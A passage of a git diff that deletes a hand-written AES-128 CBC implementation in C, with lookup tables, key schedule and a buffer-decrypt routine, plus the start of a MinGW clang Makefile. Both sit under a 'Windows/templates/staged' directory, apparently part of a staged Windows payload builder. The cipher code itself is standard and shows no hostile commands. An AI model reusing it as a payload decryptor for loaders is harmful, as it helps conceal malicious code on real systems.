0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU, - 0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U, - 0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U, - 0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU, - 0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU, - 0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U, - 0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU, - 0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U, - 0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U, - 0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U, - 0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U, - 0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U, - 0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U, - 0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU, - 0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU, - 0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU, - 0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU, - 0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U, - 0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U, - 0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U, - 0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU, - 0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U, - 0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U, -}; - -static const unsigned int Td4[256] = -{ - 0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U, - 0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U, - 0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU, - 0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU, - 0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U, - 0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U, - 0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U, - 0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU, - 0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U, - 0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU, - 0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU, - 0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU, - 0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U, - 0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U, - 0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U, - 0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U, - 0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U, - 0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U, - 0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU, - 0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U, - 0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U, - 0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU, - 0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U, - 0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U, - 0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U, - 0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU, - 0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U, - 0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U, - 0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU, - 0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U, - 0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U, - 0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU, - 0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U, - 0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU, - 0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU, - 0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U, - 0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U, - 0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U, - 0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U, - 0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU, - 0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U, - 0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U, - 0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU, - 0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU, - 0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU, - 0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U, - 0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU, - 0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U, - 0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U, - 0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U, - 0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U, - 0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU, - 0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U, - 0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU, - 0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU, - 0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU, - 0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU, - 0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U, - 0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU, - 0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U, - 0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU, - 0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U, - 0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U, - 0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU, -}; - -static const unsigned int rcon[10] = { - 0x01000000, 0x02000000, 0x04000000, 0x08000000, - 0x10000000, 0x20000000, 0x40000000, 0x80000000, - 0x1B000000, 0x36000000 -}; - -typedef struct { - unsigned int roundkey[44]; - unsigned int iv[4]; -} AES_CTX; - -static void AES_EncryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) { - ctx->roundkey[0] = GETU32(key + 0); - ctx->roundkey[1] = GETU32(key + 4); - ctx->roundkey[2] = GETU32(key + 8); - ctx->roundkey[3] = GETU32(key + 12); - - ctx->iv[0] = GETU32(iv + 0); - ctx->iv[1] = GETU32(iv + 4); - ctx->iv[2] = GETU32(iv + 8); - ctx->iv[3] = GETU32(iv + 12); - - for (unsigned char index = 4; index < 44; index += 4) { - ctx->roundkey[index] = ctx->roundkey[index - 4] ^ - (Te4[(ctx->roundkey[index - 1] >> 16) & 0xff] & 0xff000000) ^ - (Te4[(ctx->roundkey[index - 1] >> 8) & 0xff] & 0x00ff0000) ^ - (Te4[(ctx->roundkey[index - 1] >> 0) & 0xff] & 0x0000ff00) ^ - (Te4[(ctx->roundkey[index - 1] >> 24) & 0xff] & 0x000000ff) ^ rcon[index / 4 - 1]; - ctx->roundkey[index + 1] = ctx->roundkey[index - 3] ^ ctx->roundkey[index]; - ctx->roundkey[index + 2] = ctx->roundkey[index - 2] ^ ctx->roundkey[index + 1]; - ctx->roundkey[index + 3] = ctx->roundkey[index - 1] ^ ctx->roundkey[index + 2]; - } -} - -static void AES_DecryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) { - AES_EncryptInit(ctx, key, iv); - - unsigned int temp; - - // Next, invert the order of the round keys. - for (unsigned char i = 0, j = 40; i < j; i += 4, j -= 4) { - for (uint8_t k = 0; k < 4; k++) { - temp = ctx->roundkey[i + k]; - ctx->roundkey[i + k] = ctx->roundkey[j + k]; - ctx->roundkey[j + k] = temp; - } - } - - // Finally, apply the inverse MixColumn transform to all round keys except the first and last. - for (unsigned char index = 4; index < 40; index += 4) { - ctx->roundkey[index] = - Td0[Te4[(ctx->roundkey[index] >> 24) & 0xff] & 0xff] ^ - Td1[Te4[(ctx->roundkey[index] >> 16) & 0xff] & 0xff] ^ - Td2[Te4[(ctx->roundkey[index] >> 8) & 0xff] & 0xff] ^ - Td3[Te4[(ctx->roundkey[index] >> 0) & 0xff] & 0xff]; - ctx->roundkey[index + 1] = - Td0[Te4[(ctx->roundkey[index + 1] >> 24) & 0xff] & 0xff] ^ - Td1[Te4[(ctx->roundkey[index + 1] >> 16) & 0xff] & 0xff] ^ - Td2[Te4[(ctx->roundkey[index + 1] >> 8) & 0xff] & 0xff] ^ - Td3[Te4[(ctx->roundkey[index + 1] >> 0) & 0xff] & 0xff]; - ctx->roundkey[index + 2] = - Td0[Te4[(ctx->roundkey[index + 2] >> 24) & 0xff] & 0xff] ^ - Td1[Te4[(ctx->roundkey[index + 2] >> 16) & 0xff] & 0xff] ^ - Td2[Te4[(ctx->roundkey[index + 2] >> 8) & 0xff] & 0xff] ^ - Td3[Te4[(ctx->roundkey[index + 2] >> 0) & 0xff] & 0xff]; - ctx->roundkey[index + 3] = - Td0[Te4[(ctx->roundkey[index + 3] >> 24) & 0xff] & 0xff] ^ - Td1[Te4[(ctx->roundkey[index + 3] >> 16) & 0xff] & 0xff] ^ - Td2[Te4[(ctx->roundkey[index + 3] >> 8) & 0xff] & 0xff] ^ - Td3[Te4[(ctx->roundkey[index + 3] >> 0) & 0xff] & 0xff]; - } -} - -static void AES_Encrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) { - unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset; - - // Initial round - s0 = GETU32(in_data + 0) ^ ctx->iv[0] ^ ctx->roundkey[0]; - s1 = GETU32(in_data + 4) ^ ctx->iv[1] ^ ctx->roundkey[1]; - s2 = GETU32(in_data + 8) ^ ctx->iv[2] ^ ctx->roundkey[2]; - s3 = GETU32(in_data + 12) ^ ctx->iv[3] ^ ctx->roundkey[3]; - - // round 1 - t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[ 4]; - t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[ 5]; - t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[ 6]; - t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[ 7]; - // round 2 - s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[ 8]; - s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[ 9]; - s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[10]; - s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[11]; - // round 3 - t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[12]; - t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[13]; - t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[14]; - t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[15]; - // round 4 - s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[16]; - s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[17]; - s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[18]; - s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[19]; - // round 5 - t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[20]; - t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[21]; - t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[22]; - t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[23]; - // round 6 - s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[24]; - s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[25]; - s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[26]; - s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[27]; - // round 7 - t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[28]; - t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[29]; - t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[30]; - t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[31]; - // round 8 - s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[32]; - s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[33]; - s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[34]; - s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[35]; - // round 9 - t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[36]; - t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[37]; - t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[38]; - t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[39]; - // Final round - s0 = (Te4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40]; - s1 = (Te4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41]; - s2 = (Te4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42]; - s3 = (Te4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43]; - - // Output the result - PUTU32(out_data + 0, s0); - PUTU32(out_data + 4, s1); - PUTU32(out_data + 8, s2); - PUTU32(out_data + 12, s3); - - ctx->iv[0] = s0; - ctx->iv[1] = s1; - ctx->iv[2] = s2; - ctx->iv[3] = s3; -} - -static void AES_Decrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) { - unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset; - - unsigned int temp[4]; - - s0 = GETU32(in_data + 0) ^ ctx->roundkey[0]; - s1 = GETU32(in_data + 4) ^ ctx->roundkey[1]; - s2 = GETU32(in_data + 8) ^ ctx->roundkey[2]; - s3 = GETU32(in_data + 12) ^ ctx->roundkey[3]; - - temp[0] = GETU32(in_data + 0); - temp[1] = GETU32(in_data + 4); - temp[2] = GETU32(in_data + 8); - temp[3] = GETU32(in_data + 12); - - // round 1 - t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[ 4]; - t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[ 5]; - t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[ 6]; - t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[ 7]; - // round 2 - s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[ 8]; - s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[ 9]; - s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[10]; - s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[11]; - // round 3 - t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[12]; - t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[13]; - t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[14]; - t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[15]; - // round 4 - s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[16]; - s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[17]; - s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[18]; - s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[19]; - // round 5 - t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[20]; - t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[21]; - t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[22]; - t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[23]; - // round 6 - s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[24]; - s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[25]; - s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[26]; - s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[27]; - // round 7 - t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[28]; - t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[29]; - t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[30]; - t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[31]; - // round 8 - s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[32]; - s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[33]; - s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[34]; - s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[35]; - // round 9 - t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[36]; - t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[37]; - t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[38]; - t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[39]; - - // Final round 10 - s0 = (Td4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40]; - s1 = (Td4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41]; - s2 = (Td4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42]; - s3 = (Td4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43]; - - // Map the decrypted state to a byte array block - PUTU32(out_data + 0, s0 ^ ctx->iv[0]); - PUTU32(out_data + 4, s1 ^ ctx->iv[1]); - PUTU32(out_data + 8, s2 ^ ctx->iv[2]); - PUTU32(out_data + 12, s3 ^ ctx->iv[3]); - - ctx->iv[0] = temp[0]; - ctx->iv[1] = temp[1]; - ctx->iv[2] = temp[2]; - ctx->iv[3] = temp[3]; -} - -void AES_DecryptBuffer(AES_CTX* ctx, const unsigned char* in_data, unsigned char* out_data, size_t length) { - // Ensure the input length is a multiple of AES_BLOCK_SIZE - if (length % AES_BLOCK_SIZE != 0) { - printf("[-] Error: Input length must be a multiple of %d\n", AES_BLOCK_SIZE); - return; - } - - // Process each block - for (size_t i = 0; i < length; i += AES_BLOCK_SIZE) { - AES_Decrypt(ctx, in_data + i, out_data + i); - } -} - -#endif diff --git a/Windows/templates/staged/Makefile b/Windows/templates/staged/Makefile deleted file mode 100644 index b892567..0000000 --- a/Windows/templates/staged/Makefile +++ /dev/null @@ -1,86 +0,0 @@ -############################################################################### -# Makefile for Clang (MinGW) on Windows or cross-compiling from Linux -# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING -############################################################################### - -# If on Windows/MSYS2, you might have "x86_64-w64-mingw32-clang" -CLANG := C:\msys64\mingw64\bin\clang - -# Build format selector -# EXE is the default so existing scripts continue to work unchanged. -# 